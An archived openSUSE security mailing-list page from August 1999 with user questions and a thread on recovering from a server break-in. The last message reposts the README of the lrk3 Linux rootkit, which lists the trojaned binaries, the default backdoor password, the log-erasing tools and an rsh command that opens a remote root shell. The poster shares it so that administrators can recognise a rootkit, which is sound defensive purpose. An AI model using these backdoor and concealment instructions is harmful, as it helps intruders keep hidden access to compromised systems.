August 1999 - openSUSE Security - openSUSE Mailing Lists

YAST bug, or cracked system?
by cogNiTioN 07 Aug '99

07 Aug '99

Hi, Slightly suspicious, and worrying activity just happened. I was running YAST, uninstalling X, when it beeped at me and told me that 173 packages had been removed since it last checked (only moments before), this was preceeded by 2/3 mins of constant disk access (HDD access light on constantly). The packages uninstalled included bash, and it seems, everyother installed package I've got. I've checked and these packages are not uninstalled. I was using some on them during the disk access period, (including VI, lynx, top, yast). There has been no change in the percentage of disk used (on a 500mb drive), all the logs show nothing. My only connection is via an external modem, which was off (no power) during the whole incident. I've only 2 users which can log on to my machine, cognition and root (all others have a * in their password fields), and both the previous log ons were before this incident, and were made by me. My hosts deny file denys all connections to ALL, except 0.0.0.0 I don't see how this could have been malicious, but I'm asking just incase. I'm running a version of SuSE 5.2 I got off the cover of PC PLUS, on a 486. Thanks. cog -- ,------------------------------, ,====================| S H U N A N T I O N L I N E |===================, | David M. Webster '------------------------------' (aka cogNiTioN) | |=======================================================================| | cognition(a)bigfoot.com |=============| cognite.net will be online RSN. | '====== I use Linux everyday to up my productivity - so up yours! ======'

1 0

/etc/inetd.conf
by alexm 06 Aug '99

06 Aug '99

Hi, If one has this in his /etc/inetd.conf: telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd Does it mean that tcpwrappers are used and information in /etc/host.allow and /etc/hosts.deny is applicable? Does SuSE come with these settings by default? Thank you, -alexm the bandwidthwaister

2 1

Re: [suse-security] Recovering from a break in
by Jeff 06 Aug '99

06 Aug '99

On Fri, Aug 06, 1999 at 01:09:17PM +0200, Scott Sampson wrote: > On Thu, 5 Aug 1999, John Alcock <john(a)alcock.org> said: > > >What real options do I have? @Home has not responded to my request for > >help. Hmm, they seemed to have refused my request too. I think we are in the same boat buddy. I got attacked with a silly password guessing script, fills up my logs like nothing else, but can't work. > > Mailbomb? No seriously, have you considered reporting the incident to CERT > (www.cert.org) > along with information on the (apparent) lack of cooperation by the ISP. > There may also be legal or > civil actions that be taken. Some news organizations might also be > interested to hear about > crackers getting implicit help for their activities. Bad publicity will > usually get a firm to > take fast action. hmm, That is a good idea. I have some juicy log excerpts that I think they would like to see... ;) I think the best way to go about this is to email @home again, and explain to them that if they don't respond withing some period of time (I'm thinking either 2-4 business days or a week), we will go complain to CERT and include the fact that @home isn't doing anything. Not all of us @home users are bad people. So I like this option better than straight banning all @home traffic. -- Jeff -----BEGIN GEEK CODE BLOCK----- Version: 3.12 GCS/M/>P d-(pu) s+:- a17>? C++(++++) L+++ UL++(+++)@>++++$ P+ E W++@ N+ o? K- w--- O? M V- PS+ PE(--)@ Y++@ PGP t+ 5 X++@ R++@ !tv@ b++ DI++++ D- G e- h! r++ y? ------END GEEK CODE BLOCK------

2 1

Recovering from a break in
by John Alcock 06 Aug '99

06 Aug '99

Evening, I had a Suse-Box running 5.2. I checked the log files on a regular basis with the exception of weekends. Anyways, I came in one Monday morning, checked the log files and noticed 4 attempts. After furthur investigation, I relized that one had actually compromised the system. First of all, it was quite obvious by the times, that one cracker found the system and then told his buddies. They then set there sights on this machine and eventual broke in. I also suspect that these were not really knowledgable crackers, but some 15 old trying to impress his friends with a standard root kit. Now here is the kicker. I went ahead and reinstalled the system. In the process I upgraded to SusE 6.1. I also disabled all neccessary services. Lastly, I used TCP wrappers to limited access to only specfic IP Addresses. So here is the problem. These crackers are countinully trying to break in. They have static ip addresses that belong to the @Home Network. Cable modem subscribers. They have not suceeded. I have the system locked down tight, but first of all, I need to keep the machine on the network, and second I can not monitor the machine 24/7. Given that they have more time, a weakness may be found. What real options do I have? @Home has not responded to my request for help. John

9 8

RE: [suse-security] Recovering from a break in
by Maurice Hendrix 06 Aug '99

06 Aug '99

PLEASE substitute the word 'hacker' by the word 'cracker'. Hackers are friendly, Crackers are maliciuos. Don't get them mixed up. > ---------- > From: Jan Theofel[SMTP:jtheofel@rst-consulting.de] > Sent: 06 August 1999 10:58 > To: MHE(a)efmail.fuji-ef.nl > Subject: Re: [suse-security] Recovering from a break in > > > Hello! > > I'd like to know if something like that can be realized: > > If @Home continues ignoring hacker problems, it would be great that > servers > can set up special web-pages. My idea would be that you don't DENY people > comming form @Home, but when they send request to your http-Server, they > alway get a page telling them that @Home is not able to stop hacker so > they > can't visit the requested homepage until @Home does it's work. > > This way people will starting complaining themselves at @Home and perhaps > in this case the managment of @Home will start thinking: At the point > where > they'll loose users because of this, they would do their work - I'm sure. > > All other services should be DENYed of course. > > I know, that's a very strict idea. But I think it would be better than > DENYing everything from @Home, because people this way people realise that > they use a service by a 'bad' company. > > What do you think about this idea? And is it technically possible without > too > much of work? > > Bye, > Jan > > -- > +-------------------+----------------------------------------------------- > ---+ > | Jan Theofel | rst Unternehmensberatungs- und Handelsgesellschaft > mbH | > | Webadministrator | Bahnhofstrasse 35, 71272 Renningen > | > | | Tel.: 07159/800-450 Fax: 07159/800-451 > | > +-------------------+----------------------------------------------------- > ---+ > > -- > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > For additional commands, e-mail: suse-security-help(a)suse.com >

1 0

Problem with apache ssl (rpm package) and Netscape 4.5, 4.6
by Joop Boonen 06 Aug '99

06 Aug '99

Dear all, I have the following problem. I'm running apache 1.3.6 ssl version. When i connect via a fortified version of Netscape or connect via opera or Internet Explorer or communicator 4.0x (lower versions of 4.0x) navigator 4.08 gives a the error too everything works fine even in 40 bits. But if i try to connect via communicator 4.5 or 4.6 than i get an error, "Netscape has encountered bad data from the server". It's probably cause by the extra bits that are sent back in Netscape. I mean for 40 bits they still encrypt in 128 bits but they announce 88 bits. Or is it cause by the 56 bits encryption? Does someone know how i can solve this problem. Regards, Joop Boonen.

1 0

suse-security
by Dan Amthor 06 Aug '99

06 Aug '99

unsubscribe

2 1

Problem with apache ssl (rpm package) and Netscpae 4.5, 4.6
by Joop Boonen 06 Aug '99

06 Aug '99

Dear all, I have the following problem. I'm running apache 1.3.6 ssl version. When i connect via a fortified version of Netscape or connect via opera or Internet Explorer or communicator 4.0x everything works fine even in 40 bits. But if i try to connect via communicator 4.5 or 4.6 than i get an error, corrupt data or something like that. It's probably cause by the extra bits that are sent back in Netscape. I mean for 40 bits they still encrypt in 128 bits but they announce 88 bits. Or is it cause by the 56 bits encryption? Does someone know how i can solve this problem. Regards, Joop Boonen.

1 0

Re: [suse-security] Recovering from a break in
by Chrissy LeMaire 06 Aug '99

06 Aug '99

Hello John, I also had a problem recently with a script kiddie. Oddly enough, a few days earlier, I purchased O'reilly's Practical Guide to Unix and Internet Security. Its really a great book that explains alot of things I needed to know.. but anyways, this is what I did after the breakin. Made a backup of non-binary items on my machine. Wiped the machine clean and installed SuSE 6.1 Used TCP wrappers, hosts.allow, deny, etc Downloaded the SuSE security updates with another machine, connected to that one and updated everything (making sure not to connect to the Internet until Tripwire ran) Once the updates were done, I ran Tripwire and backed up my database to a floppy. Checked all programs that were suid and attempted to save it to a file. I unzipped the kiddie's directory on another machine (i backed up his home dir) and after noticing that the "friend" left his rootkit in his home dir, I took a look at the README and some of the code. I noticed that it used chmod and chown..so I changed the permissions on that file, along with many others. passwd, su, ftp, etc Closed most services in inetd.conf Took out telnet, put in SSH I started using APOP authentication instead of Plain text password for POP3. Not only is APOP encrypted, but the passwords are totally different from users' login password..so if they are found, not much can be done besides checking the person's mail. I run logcheck every 15 minutes. http://www.freshmeat.net/appindex/1998/06/26/898905419.html I'm planning on also storing log files on another computer.. gotta find the time to figure it out. If i remember anything else, I'll let you know ;) Check out that O'reilly book, though..it rocks. I'll also send a rootkit readme next email, so that anyone who hasnt seen one has an idea of what goes on when its installed. About @Home, I attempted to report some kiddie-porn bastards that were on @Home. I sent it to abuse@home and only got a few automated responses. I gave up after a few weeks.. but I guess if worse comes to worse, just call @Home and let them know that you are serious. Perhaps you can even quote a few laws that protect you (the wonderous O'reilly book has more info on that). I also perused freshmeat.net's security section and found some fun things.. Chrissy At 10:05 PM 8/5/1999 -0400, you wrote: >Evening, > >I had a Suse-Box running 5.2. I checked the log files on a regular basis >with the exception of weekends. Anyways, I came in one Monday morning, >checked the log files and noticed 4 attempts. After furthur >investigation, I relized that one had actually compromised the system. > >First of all, it was quite obvious by the times, that one cracker found >the system and then told his buddies. They then set there sights on this >machine and eventual broke in. I also suspect that these were not really >knowledgable crackers, but some 15 old trying to impress his friends with >a standard root kit. > >Now here is the kicker. I went ahead and reinstalled the system. In the >process I upgraded to SusE 6.1. I also disabled all neccessary services. >Lastly, I used TCP wrappers to limited access to only specfic IP >Addresses. > >So here is the problem. These crackers are countinully trying to break >in. They have static ip addresses that belong to the @Home Network. >Cable modem subscribers. They have not suceeded. I have the system >locked down tight, but first of all, I need to keep the machine on the >network, and second I can not monitor the machine 24/7. Given that they >have more time, a weakness may be found. > >What real options do I have? @Home has not responded to my request for >help. > >John > > >-- >To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com >For additional commands, e-mail: suse-security-help(a)suse.com

2 1

Linux Root Kit README
by Chrissy LeMaire 06 Aug '99

06 Aug '99

This if FYI.. I would have never been able to find this on my own.. but that kiddie left one of those root kits on my machine.. Its good reading for those who think they might have a root kit on their system: UPDATES 3.0 Everything updated with lastest sources for 2.X kernel. Added shadow support. Added trojan tcp wrappers. Removed sniffit and lled. Improved lots of stuff. This packages includes the following: chfn Trojaned! User->r00t chsh Trojaned! User->r00t inetd Trojaned! Remote access login Trojaned! Remote access ls Trojaned! Hide files du Trojaned! Hide files ifconfig Trojaned! Hide sniffing netstat Trojaned! Hide connections passwd Trojaned! User->r00t ps Trojaned! Hide processes top Trojaned! Hide processes rshd Trojaned! Remote access syslogd Trojaned! Hide logs linsniffer Packet sniffer! fix File fixer! z2 Zap2 utmp/wtmp/lastlog eraser! wted wtmp/utmp editor! lled lastlog editor! bindshell port/shell type daemon! tcpd Trojaned! Hide connections, avoid denies INSTALLATION To install this kit in its standard form execute 'make all install'. To install the shadow kit execute 'make shadow install'. All of the files/password configuration is in rootkit.h so feel free to personalise your own version of lrk3 :-) This kit is for linux 2.X kernels ONLY so don't complain when nothing works on old systems. USAGE OK I will go thru how to use each program one by one. NOTE when I say password I mean the rootkit password not your users password (doh!). By default the rootkit password is lrkr0x. chfn - Local user->root. Run chfn then when it asks you for a new name enter your password. chsh - Local user->root. Run chsh when it asks you for a new shell enter your password. inetd - Don't even *think* about asking ;-) It ain't that hard.. login - Allows login to any account with the rootkit password. If root login is refused on your terminal login as "rewt". Disables history logging when backdoor is used. ls - Trojaned to hide specified files and dirs. The data file is ROOTKIT_FILES_FILE, defaults to /dev/ptyr. All files can be listed with 'ls -/' if SHOWFLAG is enabled. (see rootkit.h) The format of /dev/ptyr is: ptyr hack.dir w4r3z ie. just the filenames. This would hide any files/dirs with the names ptyr, hack.dir and w4r3z. du - Same as ls, 'cept for du instead :) ifconfig - Modified to remove PROMISC flag when sniffing. netstat - Modified to remove tcp/udp/sockets from or to specified addresses, uids and ports. The file is ROOTKIT_ADDRESS_FILE. default data file: /dev/ptyq type 0: hide uid type 1: hide local address type 2: hide remote address type 3: hide local port type 4: hide remote port type 5: hide UNIX socket path example: 0 500 <- Hides all connections by uid 500 1 128.31 <- Hides all local connections from 128.31.X.X 2 128.31.39.20 <- Hides all remote connections to 128.31.39.20 3 8000 <- Hides all local connections from port 8000 4 6667 <- Hides all remote connections to port 6667 5 .term/socket <- Hides all UNIX sockets including the path .term/socket passwd - Local user->root. Enter your rootkit password instead of your old password. ps - Modified to remove specified processes. The file used is ROOTKIT_PROCESS_FILE, default to /dev/ptyp. An example data file is as follows: 0 0 Strips all processes running under root 1 p0 Strips tty p0 2 sniffer Strips all programs with the name sniffer 3 hack Strips all programs with 'hack' in them ie. proghack1, hack.scan, snhack etc. Don't put in the comments, obviously. Note: if this doesn't seem to work make sure there are no spaces after the names, and don't use the full path name. top - Identical to ps, 'cept for top instead. rshd - Execute remote commands as root. Usage: rsh -l rootkitpassword host command ie. rsh -l lrkr0x cert.org /bin/sh -i would start a root shell. syslogd - Modified to remove specified strings from logging. The data file is ROOTKIT_LOG_FILE, this defaults to /dev/ptys. Example data file: evil.com 123.100.101.202 rshd This would remove all logs containing the strings evil.com, 123.100.101.202 and rshd. tcpd - Modified to allow access from your host without any logging. Any type 1 record in the ROOTKIT_ADDRESS_FILE is used for tcpd. See netstat for more infoz on this file. Example data file: 1 123.4.5.6 would set up the tcp wrappers to allow and hide connects from 123.4.5.6. linsniffer - A kewl packet sniffer. U might like to check out another sniffer for linux if this doesn't suit ya needs. (ie. sniffit, pcs, snoofer, whatver). I removed sniffit for space reasons, if you want it the latest version can be found at http://reptile.rug.ac.be/~coder/sniffit/sniffit.html fix - Replaces and fixes timestamp/checksum infomation on files. New lrk3 version :-) z2 - Zapper2! Run this to erase the last utmp/wtmp/lastlog entries for a username. This can be detected since it just nulls the entry out. wted - This does lots of stuff. U can view ALL the entries in a wtmp or utmp type file, erase entries by username or hostname, view zapped users (admins use a util similar to this to find erased entries), erase zapped users etc. .......Other useless info deleted....... Hope this helps, Chrissy

1 0